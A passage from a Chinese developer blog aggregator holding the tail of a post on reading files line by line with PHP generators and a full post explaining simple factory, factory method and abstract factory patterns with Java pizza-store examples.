
这里生成器就可以派上用场啦。简单看个例子:读取text文件

我们创建一个text文本文档,并在其中输入几行文字,示范读取。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
复制代码<?php
header("content-type:text/html;charset=utf-8");
function readTxt()
{
# code...
$handle = fopen("./test.txt", 'rb');

while (feof($handle)===false) {
# code...
yield fgets($handle);
}

fclose($handle);
}

foreach (readTxt() as $key => $value) {
# code...
echo $value.'<br />';
}

通过上图的输出结果我们可以看出代码完全正常。

但是,背后的代码执行规则却一点儿也不一样。使用生成器读取文件,第一次读取了第一行,第二次读取了第二行,以此类推,每次被加载到内存中的文字只有一行,大大的减小了内存的使用。

这样,即使读取上G的文本也不用担心,完全可以像读取很小文件一样编写代码。

完

推荐一个我们团队自己开发的针对开发者的网址导航:笔点导航 - 用心做最简洁的网址导航

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

设计模式学习笔记-工厂模式 NEZHA的博客 设计模式学

发表于 2017-12-08

设计模式学习笔记-工厂模式

介绍简单工厂模式之前先通过一个披萨项目的例子来引出问题,然后给出简单工厂模式这种解决方案,然后随着披萨项目的不断扩展,遇到新的问题,引出工厂方法模式,然后又遇到新的问题,引出最终解决方案,抽象工厂模式。

简单工厂模式

从下面的UML图中就已经可以直观上看出:简单工厂是实现直接的实例对象。

类视图

简单工厂模式是类的创建模式,又叫做静态工厂方法(Static Factory Method)模式。简单工厂模式是由一个工厂对象决定创建出哪一种产品类的实例。
简单工厂模式的结构如下:

Java实例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
复制代码public class SimplePizzaFactory {
public static Pizza createPizza(String type) {
Pizza pizza = null;
if (type.equals("cheese")) {
pizza = new CheesePizza();
} else if (type.equals("pepperoni")) {
pizza = new PepperoniPizza();
} else if (type.equals("clam")) {
pizza = new ClamPizza();
} else if (type.equals("veggie")) {
pizza = new VeggiePizza();
}
return pizza;
}
}

总结

上面用披萨项目的列子来讲解了简单工厂模式的使用,总结下优缺点:

简单工厂模式的优点:

模式的核心是工厂类。这个类含有必要的判断逻辑,可以决定在什么时候创建哪一个产品类的实例。而客户端则可以免除直接创建对象的责任(比如那个店长)。简单工厂模式通过这种做法实现了对责任的分割。

简单工厂模式的缺点:

这个工厂类集中了所以的创建逻辑,当有复杂的多层次等级结构时,所有的业务逻辑都在这个工厂类中实现。什么时候它不能工作了,整个系统都会受到影响。并且简单工厂模式违背了开闭原则(对扩展的开放,对修改的关闭)。

工厂模式

我们来看一下工厂方法模式的定义吧。工厂方法模式定义了一个创建对象的接口,但由子类决定要实例化哪一个。工厂方法让类把实例化推迟到了子类。(定义摘自《Head First设计模式》)

首先,在工厂方法模式中,核心的工厂类不再负责所有产品的创建,而是将具体创建的工作交给子类去做.这个核心类则摇身一变,成为了一个抽象工厂角色,仅负责给出具体工厂子类必须实现的接口,而不接触哪一个产品类应当被实例化这种细节。

这种进一步抽象化的结果,使这种工厂方法模式可以用来予许系统在不修改具体工厂角色的情况下引进新的产品,也就遵循了开闭原则。

工厂模式结构

实现过程的类视图

Java实现核心

  • 1.客户端的模拟过程。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
复制代码public class PizzaTestDrive {
public static void main(String[] args) {
PizzaStore nyStore = new NYPizzaStore();
PizzaStore chicagoStore = new ChicagoPizzaStore();

Pizza pizza = nyStore.orderPizza("cheese");
System.out.println("Ethan ordered a " + pizza.getName() + "\n");

pizza = chicagoStore.orderPizza("cheese");
System.out.println("Joel ordered a " + pizza.getName() + "\n");
pizza = nyStore.orderPizza("clam");
System.out.println("Ethan ordered a " + pizza.getName() + "\n");
}
}
  • 2.抽象工厂

其中createPizza是个抽象方法,这里没有实现它,不过客户端调用抽象工厂时,通过createPizza就能返回具体工厂生产的具体产品。这里忽略了具体产品实现的过程。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
复制代码public abstract class PizzaStore {

abstract Pizza createPizza(String item);

public Pizza orderPizza(String type) {
Pizza pizza = createPizza(type);
System.out.println("--- Making a " + pizza.getName() + " ---");
pizza.prepare();
pizza.bake();
pizza.cut();
pizza.box();
return pizza;
}
}
  • 3.具体的工厂-去实现createPizza

通过从抽象工厂集成过来的createPizza实现具体的产品。

1
2
3
4
5
6
7
8
9
10
11
12
13
复制代码public class NYPizzaStore extends PizzaStore {
Pizza createPizza(String item) {
if (item.equals("cheese")) {
return new NYStyleCheesePizza();
} else if (item.equals("veggie")) {
return new NYStyleVeggiePizza();
} else if (item.equals("clam")) {
return new NYStyleClamPizza();
} else if (item.equals("pepperoni")) {
return new NYStylePepperoniPizza();
} else return null;
}
}

总结

  1. 抽象工厂利用多态的优势将具体的产品的实例化放在具体工厂中实现。
  2. 抽象工厂创建的是抽象产品–提供的是抽象方法(createPizza),但是具体的实现是推迟到具体的工厂中实现。
  3. 客户端中对用户可见的对象表面上看到的是两个抽象对象,但是具体工厂会创建用户指定类型的产品。

抽象工厂模式

抽象工厂模式是所有形态的工厂模式中最为抽象和最具一般性的一种形态。抽象工厂模式可以向客户端提供一个接口,使得客户端在不必指定产品的具体类型的情况下,创建多个产品族中的产品对象。这就是抽象工厂的用意。

抽象工厂模式结构

抽象工厂模式的简略类图如下:

类视图

Java实现

  • PizzaStore是抽象的工厂,具体的实例化是交给NYPizzaStore这些工厂。
  • NYPizzaStore是具体的创建类,通过实现createPizza(type)方法来具体化产品。通过PizzaIngredientFactory这个产品整合工厂将不同产品做了整合。
  • PizzaIngredientFactory是抽象的产品整合工厂,具体的产品整合是交给具体的产品整合厂NYPizzaIngredientFactory这些的。
  • NYPizzaIngredientFactory是具体的的产品整合厂,它实现了PizzaIngredientFactory的各种创建实例的方法。

这里基本的思想都是延迟实例化,将具体实例化发在具体的子类中实现,对象统一的只提供工厂对象。

1.创建型抽象工厂

1
2
3
4
5
6
7
8
9
10
11
12
13
14
复制代码public abstract class PizzaStore {

abstract Pizza createPizza(String item);

public Pizza orderPizza(String type) {
Pizza pizza = createPizza(type);
System.out.println("--- Making a " + pizza.getName() + " ---");
pizza.prepare();
pizza.bake();
pizza.cut();
pizza.box();
return pizza;
}
}

2.创建型具体工厂

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
复制代码public class NYPizzaStore extends PizzaStore {

protected Pizza createPizza(String item) {
Pizza pizza = null;
PizzaIngredientFactory ingredientFactory =
new NYPizzaIngredientFactory();

if (item.equals("cheese")) {
pizza = new CheesePizza(ingredientFactory);
pizza.setName("New York Style Cheese Pizza");
} else if (item.equals("veggie")) {
pizza = new VeggiePizza(ingredientFactory);
pizza.setName("New York Style Veggie Pizza");
} else if (item.equals("clam")) {
pizza = new ClamPizza(ingredientFactory);
pizza.setName("New York Style Clam Pizza");
} else if (item.equals("pepperoni")) {
pizza = new PepperoniPizza(ingredientFactory);
pizza.setName("New York Style Pepperoni Pizza");
}
return pizza;
}
}

3.创建型整合工厂-用于整合产品

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
复制代码public class NYPizzaIngredientFactory implements PizzaIngredientFactory {

public Dough createDough() {
return new ThinCrustDough();
}

public Sauce createSauce() {
return new MarinaraSauce();
}

public Cheese createCheese() {
return new ReggianoCheese();
}

public Veggies[] createVeggies() {
Veggies veggies[] = { new Garlic(), new Onion(), new Mushroom(), new RedPepper() };
return veggies;
}

public Pepperoni createPepperoni() {
return new SlicedPepperoni();
}
public Clams createClam() {
return new FreshClams();
}
}

4.抽象的产品类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
复制代码public abstract class Pizza {
String name;
Dough dough;
Sauce sauce;
Veggies veggies[];
Cheese cheese;
Pepperoni pepperoni;
Clams clam;
abstract void prepare();
void bake() {
System.out.println("Bake for 25 minutes at 350");
}
void cut() {
System.out.println("Cutting the pizza into diagonal slices");
}
void box() {
System.out.println("Place pizza in official PizzaStore box");
}
void setName(String name) {
this.name = name;
}
String getName() {
return name;
}
}

5.产品抽象工厂

1
2
3
4
5
6
7
8
9
10
复制代码public interface PizzaIngredientFactory {

public Dough createDough();
public Sauce createSauce();
public Cheese createCheese();
public Veggies[] createVeggies();
public Pepperoni createPepperoni();
public Clams createClam();

}

6.产品具体工厂

1
2
3
4
5
6
7
8
9
10
11
12
13
14
复制代码public class CheesePizza extends Pizza {
PizzaIngredientFactory ingredientFactory;

public CheesePizza(PizzaIngredientFactory ingredientFactory) {
this.ingredientFactory = ingredientFactory;
}

void prepare() {
System.out.println("Preparing " + name);
dough = ingredientFactory.createDough();
sauce = ingredientFactory.createSauce();
cheese = ingredientFactory.createCheese();
}
}

7.测试代码

面向用户的一层是没有改变接口,还是使用抽象对象PizzaStore和Pizza

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
复制代码public class PizzaTestDrive {

public static void main(String[] args) {
PizzaStore nyStore = new NYPizzaStore();
PizzaStore chicagoStore = new ChicagoPizzaStore();

Pizza pizza = nyStore.orderPizza("cheese");
System.out.println("Ethan ordered a " + pizza + "\n");

pizza = chicagoStore.orderPizza("cheese");
System.out.println("Joel ordered a " + pizza + "\n");
pizza = nyStore.orderPizza("clam");
System.out.println("Ethan ordered a " + pizza + "\n");

pizza = chicagoStore.orderPizza("clam");
System.out.println("Joel ordered a " + pizza + "\n");
}
}

三者的具体区别

工厂方法模式和简单工厂模式比较:

工厂方法模式跟简单工厂模式在结构上的不同是很明显的,工厂方法模式的核心是一个抽象工厂类,而简单工厂模式的核心在一个具体类。显而易见工厂方法模式这种结构更好扩展,权力下发,分布式比集中式更具优势。

如果系统需要加入一个新的产品,那么所需要的就是向系统中加入一个这个产品类以及它所对应的工厂类。没有必要修改客户端,也没有必要修改抽象工厂角色或者其他已有的具体工厂角色。对于增加新的产品类而言,这个系统完全支持开闭原则

工厂方法模式和下抽象工厂模式对比

  • 工厂方法模式是一种极端情况的抽象工厂模式,而抽象工厂模式可以看成是工厂方法模式的推广。
  • 工厂方法模式用来创建一个产品的等级结构,而抽象工厂模式是用来创建多个产品的等级结构。
  • 工厂方法模式只有一个抽象产品类,而抽象工厂模式有多个抽象产品类。
  • 工厂方法模式中具体工厂类只有一个创建方法,而抽象工厂模式中具体工厂类有多个创建方法。

Github源码

nezha的GitHub地址:(nezha/DesignPatterns)[github.com/nezha/Desig…]

参考文献

设计模式干货系列:(一)简单工厂模式

设计模式干货系列:(二)工厂方法模式【学习难度:★★☆☆☆,使用频率:★★★★★】

设计模式干货系列:(三)抽象工厂模式【学习难度:★★★★☆,使用频率:★★★★★】

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

1…912913914…956

开发者博客

9558 日志
1953 标签
RSS
© 2025 开发者博客
本站总访问量次
由 Hexo 强力驱动
|
主题 — NexT.Muse v5.1.4
0%